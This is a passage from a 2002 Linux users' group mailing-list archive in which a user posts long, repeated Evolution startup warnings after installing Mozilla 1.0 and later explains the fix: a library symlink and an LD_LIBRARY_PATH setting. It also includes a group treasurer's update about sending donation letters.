OAFIID:GNOME_Evolution_Addressbook_ShellComponent > > > > evolution-shell-WARNING **: Could not start up component for > > OAFIID:GNOME_Evolution_Mail_ShellComponent. > > > > evolution-shell-WARNING **: Cannot activate Evolution component -- > > OAFIID:GNOME_Evolution_Mail_ShellComponent > > > > evolution-shell-WARNING **: Could not start up component for > > OAFIID:GNOME_Evolution_Calendar_ShellComponent. > > > > evolution-shell-WARNING **: Cannot activate Evolution component -- > > OAFIID:GNOME_Evolution_Calendar_ShellComponent > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_handler_for_type() > > -- Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > I have done the google search, but have come up empty handed. anyone have > > any suggestions for a possible fix? > > > > BTW i am running evolution-1.0.3-4. > > > > slr > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 17:59:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Thu, 06 Jun 2002 10:59:52 -0700 Subject: update on stuff Message-ID: <5.1.0.14.0.20020606105615.00a3adf0@localhost> I just thought that I would let everyone know that my time has been freed up a bit from all the stuff that I have been involved with. This means more time to AZOTO. One thing that I haven't done because of my time being short is sending out tax donation letters. I sincerely apologize for those that did not go out last year. The move to free up my time has taken many months and many broken bad habits. So, without much more hand slapping, I will be reviewing the items and dollars that were donated and sending such donation letters in the next week. I may be asking individuals for their mailing addresses if I don't have them. Thanks for your patience and understanding. Kimi Adams, Treasurer AZOTO 602-375-5363 From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 19:15:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 6 Jun 2002 12:15:56 -0700 Subject: mozilla 1.0 In-Reply-To: References: Message-ID: <200206061215.56107.zen2now@qwest.net> sweet, someone is interested!! the problem seem to be with wombat not finding libplc4.so, which was there through a symlink: ln -s /usr/lib/mozilla-1.0.0 /usr/lib/mozilla but wombat was still not a happy, well "wombat". so i added export LD_LIBRARY_PATH=/usr/lib/mozilla-1.0.0:/usr/local/mozilla:$LD_LIBRARY_PATH to my .bash_profile. then sourced the .bash_profile, ran oaf-slay to kill oafd and then killev, and started evolution with success. the key was testing all components to find the broken one, hehe. slr On Thursday 06 June 2002 11:35 am, Matt Alexander wrote: > And the problem was...? > > On Thu, 6 Jun 2002, slr wrote: > > forget it, problem resolved. > > > > slr > > > > On Thursday 06 June 2002 09:07 am, slr wrote: > > > good morning all, > > > > > > i just installed mozilla 1.0 from rpm's which i > > > downloaded from http://plug.netpro.to/mozilla/ onto a RH 7.3 install. i > > > am running KDE 3.0, mozilla seems to run fine but now when i try to > > > open Evolution i get these warnings: > > > > > > [xxx@xxx xxx]$ evolution > > > > > > evolution-shell-WARNING **: Could not start up component for > > > OAFIID:GNOME_Evolution_Addressbook_ShellComponent. > > > > > > evolution-shell-WARNING **: Cannot activate Evolution component -- > > > OAFIID:GNOME_Evolution_Addressbook_ShellComponent > > > > > > evolution-shell-WARNING **: Could not start up component for > > > OAFIID:GNOME_Evolution_Mail_ShellComponent. > > > > > > evolution-shell-WARNING **: Cannot activate Evolution component -- > > > OAFIID:GNOME_Evolution_Mail_ShellComponent > > > > > > evolution-shell-WARNING **: Could not start up component for > > > OAFIID:GNOME_Evolution_Calendar_ShellComponent. > > > > > > evolution-shell-WARNING **: Cannot activate Evolution component -- > > > OAFIID:GNOME_Evolution_Calendar_ShellComponent > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' 